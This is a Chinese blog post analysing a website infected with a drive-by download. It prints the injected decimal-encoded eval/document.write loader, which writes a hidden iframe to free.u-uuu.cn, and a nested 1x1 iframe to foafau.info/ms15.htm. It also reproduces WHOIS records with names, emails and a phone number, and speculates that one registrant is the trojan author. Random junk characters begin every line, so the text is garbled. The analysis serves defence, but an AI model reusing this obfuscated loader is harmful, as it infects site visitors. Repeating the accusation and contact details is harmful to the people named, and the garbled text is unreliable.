首发在我的博客里面，
#J q@p_T" YEF%l'm( \ http://www.areway.cn/?p=175 < u&uwD~A =5+M]y
E< _C)u#]t 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
&YmOXKf7 f c+P`r <script>t=’60,105,102,114,97,109,101,
gOx4qxy/m| 32,115,114,99,61,104,116,116,112,58,47,47,
4&R\6!*s 102,114,101,101,46,117,45,117,117,117,46,99,
POtDge 110,47,101,114,114,111,114,46,104,116,109,
fu?>O /Gn/ 32,119,105,100,116,104,61,49,48,48,32,104,
/e!/ 101,105,103,104,116,61,48,62,60,47,105,102,
UFyGp>/06 114,97,109,101,62′;
R5H
UgI t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
v}M, M&? G$x uHHZ' <script>t=’60,105,102,114,97,109,101,32,115,
i('z~ 114,99,61,104,116,116,112,58,47,47,102,114,
}^pnwo9vV 101,101,46,117,45,117,117,117,46,99,110,47,
_( 0!bUs> 101,114,114,111,114,46,104,116,109,32,119,
|U 8;25Y 105,100,116,104,61,49,48,48,32,104,101,105,
w-H gC 103,104,116,61,48,62,60,47,105,102,114,97,
k&n7 _[]n 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
pW:U|m1dS document.write(t);</script>
KJ.ra\F ST'L \yebc <html xmlns=”
2Qc&6-;` http://www.w3.org/1999/xhtml SrN0f0 “>
ad&Mk^p <head>
oB&s 2~ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
XaR( q2s <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
S2*-UluG <title>首页 - 爱生活家庭网
H*A)U' ` ) Z0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/? 9e{,\s 转换字符串后的大概内容是（谁点击后果自付）：
VCX})sp <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
0d9rJv}~ \@*cj8e 查询玉米u-uuu.cn的详细信息：
RIC'JL WQ Domain Name: u-uuu.cn
9 /t}S6b{ ROID: 20070901s10001s64972306-cn
66[yL(*+ Domain Status: ok
H
\.E K Z Registrant Organization: 王雷
1;?b-FEq: Registrant Name: 王雷
dW g$yH Administrative Email:
czlovexs@126.com 2j=3i@ Sponsoring Registrar: 北京万网志成科技有限公司
H_o<!YxK Name Server:ns.yovole.com
&j2L- ) Name Server:ns1.yovole.com
V<\:iNX X{ Registration Date: 2007-09-01 17:54
b0rC\^x Expiration Date: 2008-09-01 17:54
u8~.6]Ae 最后PING了一下地址 都没有什么….
?$ Uk[ IgptiZ7~! 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
cJ&l86/l1 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
DL2 e 9 <script language=”javascript” src=”
ceH7Rq:4W http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script OJbY \U >
aS'G&(_ 这个玉米应该有可能是木马作者的：
DJr 8<u foafau.info的详细信息：
"P&|e|7 Access to INFO WHOIS information is provided to assist persons in
#Ru +|KL determining the contents of a domain name registration record in the
%Kw5 b ; Afilias registry database. The data in this record is provided by
?N,a {#w Afilias Limited for informational purposes only, and Afilias does not
=uKK{\+|Y guarantee its accuracy. This service is intended only for query-based
RRV@nDf access. You agree that you will use this data only for lawful purposes
rfXM*h and that, under no circumstances will you use this data to: (a) allow,
E$ F )z enable, or otherwise support the transmission by e-mail, telephone, or
bpz B}nEp facsimile of mass unsolicited, commercial advertising or solicitations
$O%lYQY] to entities other than the data recipient’s own existing customers; or
ucJR #14 (b) enable high volume, automated, electronic processes that send
29,`2fFr queries or data to the systems of Registry Operator, a Registrar, or
Kcsje_I-M Afilias except as reasonably necessary to register domain names or
q.K >v' modify existing registrations. All rights reserved. Afilias reserves
]^8:"Ky' the right to modify these terms at any time. By submitting this query,
(x &#>5 you agree to abide by this policy.
9/~m837x Domain ID:D22418703-LRMS
+ulX(u(, Domain Name:FOAFAU.INFO
IN , @ Created On:20-Nov-2007 16:05:42 UTC
["Z]K'?P Last Updated On:20-Nov-2007 16:05:44 UTC
~
W52Mbf Expiration Date:20-Nov-2008 16:05:42 UTC
0aQNdi)b Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
FGy7KVR Status:CLIENT DELETE PROHIBITED
AWh{dM Status:CLIENT RENEW PROHIBITED
8{4I6;e - Status:CLIENT TRANSFER PROHIBITED
xZGR<+t Status:CLIENT UPDATE PROHIBITED
`axNeqM Status:TRANSFER PROHIBITED
CW*6 -q Registrant ID:GODA-040110615
>^+Q`"SN Registrant Name:liu hong
G?<L{J2"Q Registrant Organization:
44kY[jhf Registrant Street1:beijing
;s9!r a:3 Registrant Street2:
;Zw! Registrant Street3:
*q|.H9
K( Registrant City:beijing
%nFZA)B[ Registrant State/Province:
gS4K](KH | Registrant Postal Code:100000
:M1+[FT Registrant Country:CN
y{ !`4CxF Registrant Phone:+86.860108888777
&{Uaa Registrant Phone Ext.:
^q%~K{'`- Registrant FAX:
bxrByu~| 1 Registrant FAX Ext.:
q/m}+v] Registrant Email:bbbshiji@163.com
RNl %n} Admin ID:GODA-240110615
s
~ (qO|d Admin Name:liu hong
zw\"!=r^ Admin Organization:
5\:#-IYJ Admin Street1:beijing
,(OA5%A9zK Admin Street2:
nFw&vR/q Admin Street3:
03$Ay _ 2 Admin City:beijing
G
U0zlG] C Admin State/Province:
B?#@<2*=L Admin Postal Code:100000
v@O tp Admin Country:CN
)K8JDP Admin Phone:+86.860108888777
Wq&TbWR Admin Phone Ext.:
3j]La Admin FAX:
P)(Ly5$ * Admin FAX Ext.:
\n`UkxZn+ Admin Email:bbbshiji@163.com
g RSM~< Billing ID:GODA-340110615
7: jSP$ Billing Name:liu hong
%do|>7MO@ Billing Organization:
YjvqU /[3 Billing Street1:beijing
57K1e~^ Billing Street2:
CSt6}_c! Billing Street3:
1V FAfv%} Billing City:beijing
|PI.xl:ch Billing State/Province:
+:/`&LOS- Billing Postal Code:100000
%+o]1R Billing Country:CN
~qFi0<-M Billing Phone:+86.860108888777
pC_2_,6$ Billing Phone Ext.:
5C#&vYnq Billing FAX:
]2h~Db= Billing FAX Ext.:
@^k$`W; Billing Email:bbbshiji@163.com
:L*CL 8m Tech ID:GODA-140110615
l]oGhM; Tech Name:liu hong
<0JW [m Tech Organization:
<9\_b 6 Tech Street1:beijing
zh*NRN Tech Street2:
<:q]t6]$ Tech Street3:
JOenVepQ, Tech City:beijing
6l:CDPhR Tech State/Province:
\DeZY97p% Tech Postal Code:100000
khjW9Aa8t Tech Country:CN
T( J&v|FK Tech Phone:+86.860108888777
eHPGzN Xb Tech Phone Ext.:
lq. AQ Tech FAX:
#V4_. t# Tech FAX Ext.:
DFE?H Tech Email:bbbshiji@163.com
y])xP%q2 O Name Server:NS27.DOMAINCONTROL.COM
]7h&ZF Name Server:NS28.DOMAINCONTROL.COM
A n/) |B4 Name Server:
ZLE4 XB] Name Server:
AD*+?%hj Name Server:
~|l>bf Name Server:
W XO@oZ! Name Server:
zcIZJVYA Name Server:
xCoQ>.4p Name Server:
]%>;R^HY Name Server:
-_b}b)2iYN Name Server:
42Kzdo|} Name Server:
@105 @9F Name Server:
R4@C>\c %m R^%7| 接着下载每个文件里面的代码：
NBUM* Z 一步一步看..
\ iu2rat^ 
t)$>++i 
{{@3r5K Gl 
|M9x&(H;Hw 
:t\ PYDp1 
J]fjg%C2m 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
